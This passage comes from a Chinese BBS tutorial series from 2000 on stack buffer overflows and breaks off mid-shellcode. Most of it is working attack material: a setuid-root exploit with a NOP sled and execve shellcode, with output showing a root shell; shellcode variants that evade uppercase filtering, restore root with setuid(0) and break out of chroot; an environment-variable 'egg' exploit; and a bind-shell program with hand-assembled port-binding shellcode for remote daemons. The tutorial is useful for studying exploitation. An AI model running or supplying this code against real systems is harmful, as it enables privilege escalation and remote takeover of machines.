。我们可以写一个程序，获得运行时的堆栈起始地址，这样，我们就知道了目标程
序堆栈
的开始地址。
下面这个函数，用eax返回当前程序的堆栈指针。（所有C函数的返回值都放在eax
寄存器
里面）:
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
------------------------------------------------------------------------
------
我们在知道了堆栈开始地址后，buffer相对于堆栈开始地址的偏移，是他程序员自
己
写出来的程序决定的，我们不知道，只能靠猜测了。不过，一般的程序堆栈大约是
几K
左右。所以，这个buffer与上面得到的堆栈地址，相差就在几K之间。
显然猜地址这是一件很难的事情，从0试到10K，会把人累死的。

前面我们用来覆盖堆栈的溢出字符串为：
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在，为了提高命中率，我们对他进行如下改进：
用来溢出的字符串变为：
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中：
N为NOP.NOP指令意思是什么都不作，跳过一个CPU指令周期。在intel机器上，
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样，A猜大了也可以落在N上，并且最终会执行到
S.
这个改进大大提高了猜测的命中率，有时几乎可以一次命中。：）））
好了，枯燥的算法分析完了，下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序：
exploit1.c
------------------------------------------------------------------------
----
#include
#include
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i *((long *)&(buff))=addr;
for(i=0;i buff=NOP;
        ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i
        *(ptr++)=shellcode;
buff[bsize-1]='\0';
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0
printf("Jump to 0x%08x\n",addr);
execl("./vulnerable1","vulnerable1",buff,0);
}
------------------------------------------------------------------------
----
execl用来执行目标程序./vulnerable1，buff是我们精心制作的溢出字符串，
作为./vulnerable1的参数提供。
以下是执行的结果：
------------------------------------------------------------------------
----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
------------------------------------------------------------------------
----
恭喜，恭喜，你获得了root shell。
下一讲，我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。

--
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.101.131]

--------------------------------------------------------------------------------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(4)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:56:19 2000), 转信
堆栈溢出系列讲座
复杂的shellcode
前面几讲，我们已经有了基本的堆栈溢出知识，可以编写基本的shellcode了。这
一讲，
我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。
复杂shellcode的产生是由于有一定防范措施的的目标程序。（所谓道高一尺，魔
高一丈）
。以下分类讨论几种情况。注意，下面的分类是不全面的，也不可能穷尽所有的情
况，
只是提供一些例子来阐明修改shellcode的技巧。
1:输入的溢出字符串被预处理
比如，如果敌人在自己的程序里面加入如下代码，就可抑制前面提到的堆栈溢出的
攻击：
------------------------------------------------------------------------
----
。。。。。。
for(i=0;i argv[1]=toupper(argv[1]);
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码
。。。。。。
strcpy(buffer,argv[1]);

------------------------------------------------------------------------
----
显然，由于toupper函数对输入进行了过滤处理，/bin/sh变成了\BIN\SH，UNIX系
统是
大小写敏感的，因此execve系统调用不会成功。自然得不到shell。
怎么办？我们可以修改shellcode，使他不包含ascII为0x60--0x7a的字符。我们把
/bin/sh的每一个字母都减去0x50，得到"\x2f\x12\x19\x1e\x2f\x23\x18",在
shellcode
里面再把它们改回来。
另外，指令"\x89\x76\x08" /* movl %esi,0x8(%esi) */
也有问题字符\x76.我们可以把他改成其他的等价指令。比如改成：
"movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)".
新的shellcode如下：
char shellcode[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
好，一个新的shellcode，绕过了预处理器的检查。我们可以用这种方法解决那些
不允许有某些字符集合的预处理检查。比如不允许!@#$%^&*的，等等。
2:对付seteuid（getuid()）
有的程序在开始的时候seteuid（getuid()），然后在需要的时候才进行
setuid(0)。这样就可以在发生堆栈溢出的时候由于euid！＝0而使我们只能得到普
通shell。
当你搞定了一个setuid位的程序，却发现只得到了普通用户shell的时候，就很可
能是这种情况。
但是，如果我们在自己的shellcode里面加上setuid(0)，就一样可以得到
rootshell。
我们写一个带有setuid的程序，用gcc -static 编译，使用gdb来试验：
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
我们可以用b/bx指令得到：setuid(0)的汇编代码：
------------------------------------------------------------------------
----
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
把这段代码加到标准shellcode中jmp的前面就可以了。
（注意，最好不要加到jmp的后面，因为还要重新计算偏移，而且如果期间有堆栈
操作，
就把string的返回地址冲掉了）
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80" /* int $0x80 */
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----
3:敌人把root的根目录给改掉了
有的程序chroot了（比如/home/ftp），我们B.O之后只能在指定的目录里面打转。
结果我们的/bin/sh变成了/home/ftp/bin/sh，当然不会存在。execve执行sh必然
失败。

我们可以进行如下操作：以找回root的根目录\。
mkdir("sh");
chroot("sh");
chroot("../../../../../../../");
它们的汇编代码为：
mkdir("sh",0755); code
------------------------------------------------------------------------
----
/* mkdir first argument is %ebx and second argument is */
/* %ecx. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x27" /* movb $0x27,%al */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
/* %esi has to reference "/bin/sh" before using this */
/* instruction. This instruction load address of "sh" */
/* and store at %ebx */
"\xfe\xc5" /* incb %ch */
/* %cx = 0000 0001 0000 0000 */
"\xb0\x3d" /* movb $0xed,%cl */
/* %cx = 0000 0001 1110 1101 */
/* %cx = 000 111 101 101 */
/* %cx = 0 7 5 5 */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
chroot("sh"); code
------------------------------------------------------------------------
----
/* chroot first argument is ebx */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
chroot("../../../../../../../../../../../../../../../../"); code
------------------------------------------------------------------------
----
char code[]=
"\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */
/* disguised "../" character string */
"\xf7\xdb" /* negl %ebx */
/* %ebx = $0x002f2e2e */
/* intel x86 is little endian. */
/* %ebx = "../" */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x10" /* movb $0x10,%cl */
/* prepare for looping 16 times. */
"\x56" /* pushl %esi */
/* backup current %esi. %esi has the pointer of */
/* "/bin/sh". */
"\x01\xce" /* addl %ecx,%esi */
"\x89\x1e" /* movl %ebx,(%esi) */
"\x83\xc6\x03" /* addl $0x3,%esi */
"\xe0\xf9" /* loopne -0x7 */
/* make "../../../../ . . . " character string at */
/* 0x10(%esi) by looping. */
"\x5e" /* popl %esi */
/* restore %esi. */
"\xb0\x3d" /* movb $0x3d,%al */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
/* %ebx has the address of "../../../../ . . . ". */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
我们把这些代码加进去：
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
"\xeb\x4f" /* jmp 0x4f */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xc9" /* xorl %ecx,%ecx */
"\x5e" /* popl %esi */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\xb0\x27" /* movb $0x27,%al */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xfe\xc5" /* incb %ch */
"\xb1\xed" /* movb $0xed,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */
"\xf7\xdb" /* negl %ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x10" /* movb $0x10,%cl */
"\x56" /* pushl %esi */
"\x01\xce" /* addl %ecx,%esi */
"\x89\x1e" /* movl %ebx,(%esi) */
"\x83\xc6\x03" /* addl %0x3,%esi */
"\xe0\xf9" /* loopne -0x7 */
"\x5e" /* popl %esi */
"\xb0\x3d" /* movb $0x3d,%al */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xac\xff\xff\xff" /* call -0x54 */
"/bin/sh"; /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----
4：敌人的buffer数组开的太小
如果敌人的strcpy(buffer,ourstring)中的buffer离堆栈顶过于接近，比如，只有
12个
字节的偏移，我们的shellcode有几十个字节，如果buffer开的太小，是无法容纳
下
shellcode的，结果会导致如下情况：
内存底部 内存顶部
buffer EBP ret
<------ [SSS...S][S ][S ]S..SAAAAAAAAAAA
^&buffer
堆栈顶部 堆栈底部
看到了吗？由于buffer太小，离栈顶又太近，相对于这个短小的空间，我们的
shellcode
太长了，以至于覆盖了ret，而我们猜测的返回地址（A）被迫写到了更远的地方。
这样，
函数执行完，返回的时候，取出的是shellcode的某一个片断作为返回地址，跑到
月球上
了。。。
为了解决这个问题，我们引入了环境变量。为了避免溢出字符串的长度大于
buffer长度
的情况，我们把溢出串放在一个环境变量里面，把他的地址放在另一个环境变量里
面。
这两个变量分别为：
$RET = AAAAAAAAAAAAAAAAAAAAA
$EGG = NNNNNNNNNNNSSSSSSSSSS
把变量RET的内容作为参数传给被测试的程序。
这里有必要解释一下linux系统中的环境变量。每一个程序在开始运行的时候，父
shell
的环境变量都会在堆栈中。因此，当目标程序在一个以EGG为环境变量的shell中运
行时
，他的堆栈里面就自动继承了我们的EGG变量的内容。见下图所示：
堆栈顶 堆
栈底
<参数指针>NULL<环境变量指针>NULL<参数个数><参数><环境变量>

这样，当我们用猜测的地址（A）构成的RET变量传给敌人的strcpy函数时，他的堆
栈就
会被A充满。如果我们的EGG很大，那么里面的NOP就越多，自然命中的概率就越大
。
overflow.c
------------------------------------------------------------------------
------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize   =
        atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc
        > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg
        = malloc(eggsize))) {
printf("Can't allocate
        memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
//现在，egg里面内容为：NNNNNNNNNNNNNNNNNNSSS
//buff里面的内容为AAAAAAAAAAAAAAAAAAA，
//我们猜测的egg环境变量的开始地址。
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
//使用 putenv 来设置EGG,RET这两个环境变量。
system("/bin/bash");
//这个bash继承了两个环境变量。
}
------------------------------------------------------------------------
------
好了，来试一试：
------------------------------------------------------------------------
------
[nkl10]$ ./overflow 768
Using address: 0xbffffdb0
[nkl10]$ ./overflow $RET
$
------------------------------------------------------------------------
------
--
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.101.131]

--------------------------------------------------------------------------------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(5)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:57:08 2000), 转信
堆栈溢出系列讲座
远程堆栈溢出
我们用堆栈溢出攻击守护进程daemon时，原理和前面提到过的本地攻击是相同的。
我们
必须提供给目标daemon一个溢出字符串，里面包含了shellcode。希望敌人在复制
（或者
别的串处理操作）这个串的时候发生堆栈溢出，从而执行我们的shellcode。
普通的shellcode将启动一个子进程执行sh，自己退出。对于我们这些远程的攻击
者来说
，由于我们不在本地，这个sh我们并没有得到。
因此，对于远程使用者，我们传过去的shellcode就必须负担起打开一个socket，
然后
listen我们的连接，给我们一个远程shell的责任。
如何开一个远程shell呢？我们先申请一个socketfd，使用30464（随便，多少都行
）作为
这个socket连接的端口，bind他，然后在这个端口上等待连接listen。当有连接进
来后，
开一个子shell，把连接的clientfd作为子shell的stdin,stdout,stderr。这样，
我们
远程的使用者就有了一个远程shell（跟telnet一样啦）。
下面就是这个算法的C实现：
opensocket.c
------------------------------------------------------------------------
----
1#include
2#include
3#include
4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;
7int main()
8{
9 if(fork()==0)
10 {
11 serv_addr.sin_family=AF_INET;
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 serv_addr.sin_port=htons(30464);
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15 bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 listen(soc,1);
17 soc_len=sizeof(cli_addr);
18 cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 dup2(cli,0);
20 dup2(cli,1);
21 dup2(cli,2);
22 execl("/bin/sh","sh",0);
23 }
24}
------------------------------------------------------------------------
----
第9行的fork()函数创建了一个子进程，对于父进程fork()的返回值是子进程的
pid，
对于子进程，fork()的返回值是0.本程序中，父进程执行了一个fork就退出了，子
进程
作为socket通信的执行者继续下面的操作。
10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc，然后
调用
bind()绑定30464端口，接下来开始监听listen().程序挂起在accept等待客户连接
。
当有客户连接时，程序被唤醒，进行accept，然后把自己的标准输入，标准输出，
标准错误输出重定向到客户的文件描述符上，开一个子sh，这样，子shell继承了
这个进程的文件描述符，对于客户来说，就是得到了一个远程shell。
看懂了吗？嗯，对，这是一个比较简单的socket程序，很好理解的。好，我们使用
gdb来反编译上面的程序:
[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 : movl $0x2,%eax
0x804ca95 : int $0x80
0x804ca97 : cmpl $0xfffff001,%eax
0x804ca9c : jae 0x804cdc0 <__syscall_error>
0x804caa2 : ret
0x804caa3 : nop
0x804caa4 : nop
0x804caa5 : nop
0x804caa6 : nop
0x804caa7 : nop
0x804caa8 : nop
0x804caa9 : nop
0x804caaa : nop
0x804caab : nop
0x804caac : nop
0x804caad : nop
0x804caae : nop
0x804caaf : nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 : movl %ebx,%edx
0x804cda2 : movl $0x66,%eax
0x804cda7 : movl $0x1,%ebx
0x804cdac : leal 0x4(%esp,1),%ecx
0x804cdb0 : int $0x80
0x804cdb2 : movl %edx,%ebx
0x804cdb4 : cmpl $0xffffff83,%eax
0x804cdb7 : jae 0x804cdc0 <__syscall_error>
0x804cdbd : ret
0x804cdbe : nop
0x804cdbf : nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 : movl %ebx,%edx
0x804cd62 : movl $0x66,%eax
0x804cd67 : movl $0x2,%ebx
0x804cd6c : leal 0x4(%esp,1),%ecx
0x804cd70 : int $0x80
0x804cd72 : movl %edx,%ebx
0x804cd74 : cmpl $0xffffff83,%eax
0x804cd77 : jae 0x804cdc0 <__syscall_error>
0x804cd7d : ret
0x804cd7e : nop
0x804cd7f : nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 : movl %ebx,%edx
0x804cd82 : movl $0x66,%eax
0x804cd87 : movl $0x4,%ebx
0x804cd8c : leal 0x4(%esp,1),%ecx
0x804cd90 : int $0x80
0x804cd92 : movl %edx,%ebx
0x804cd94 : cmpl $0xffffff83,%eax
0x804cd97 : jae 0x804cdc0 <__syscall_error>
0x804cd9d : ret
0x804cd9e : nop
0x804cd9f : nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 : movl %ebx,%edx
0x804cbe2 : movl 0x8(%esp,1),%ecx
0x804cbe6 : movl 0x4(%esp,1),%ebx
0x804cbea : movl $0x3f,%eax
0x804cbef : int $0x80
0x804cbf1 : movl %edx,%ebx
0x804cbf3 : cmpl $0xfffff001,%eax
0x804cbf8 : jae 0x804cdc0 <__syscall_error>
0x804cbfe : ret
0x804cbff : nop
End of assembler dump.
现在可以写上面c代码的汇编语句了。

fork()的汇编代码
------------------------------------------------------------------------
----
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
socket(2,1,6)的汇编代码
注：AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
----
/* socket使用66号系统调用，1号子调用。 */
/* 他使用一段内存块来传递参数2,1,6。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
/* 第一个参数 */
/* %esi 指向一段未使用的内存空间 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数 */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码
------------------------------------------------------------------------
----
/* bind使用66号系统调用，2号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值， */
/* 就是soc文件描述符，作为第一个参数 */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=AF_NET（2） */
/* 2 放在 0xc(%esi). */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
/* 端口号(0x7700=30464)放在 0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数 . */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
listen(soc,1)的汇编代码
------------------------------------------------------------------------
----
/* listen使用66号系统调用，4号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值， */
/* 就是soc文件描述符，作为第一个参数 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
accept(soc,0,0)的汇编代码
------------------------------------------------------------------------
----
/* accept使用66号系统调用，5号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\xf1" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值， */
/* 就是soc文件描述符，作为第一个参数 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
dup2(cli,0)的汇编代码
------------------------------------------------------------------------
----
/* 第一个参数为 %ebx， 第二个参数为 %ecx */
char code[]=
/* %eax 里面是刚才accept调用的返回值， */
/* 客户的文件描述符cli . */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
现在该把这些所有的细节都串起来，形成一个新的shell的时候了。
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
00 "\x31\xc0" /* xorl %eax,%eax */
02 "\xb0\x02" /* movb $0x2,%al */
04 "\xcd\x80" /* int $0x80 */
06 "\x85\xc0" /* testl %eax,%eax */
08 "\x75\x43" /* jne 0x43 */
/* 执行fork()，当fork()!=0 的时候，表明是父进程，要终止 */
/* 因此，跳到0x43＋a=0x4d，再跳到后面，执行 exit(0) */
0a "\xeb\x43" /* jmp 0x43 */
/* 当fork()==0 的时候，表明是子进程 */
/* 因此，跳到0x43+0c=0x4f,再跳到后面，执行 call -0xa5 */
0c "\x5e" /* popl %esi */
0d "\x31\xc0" /* xorl %eax,%eax */
0f "\x31\xdb" /* xorl %ebx,%ebx */
11 "\x89\xf1" /* movl %esi,%ecx */
13 "\xb0\x02" /* movb $0x2,%al */
15 "\x89\x06" /* movl %eax,(%esi) */
17 "\xb0\x01" /* movb $0x1,%al */
19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
1c "\xb0\x06" /* movb $0x6,%al */
1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */
21 "\xb0\x66" /* movb $0x66,%al */
23 "\xb3\x01" /* movb $0x1,%bl */
25 "\xcd\x80" /* int $0x80 */
/* 执行socket()，eax里面为返回值soc文件描述符 */
27 "\x89\x06" /* movl %eax,(%esi) */
29 "\xb0\x02" /* movb $0x2,%al */
2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
2f "\xb0\x77" /* movb $0x77,%al */
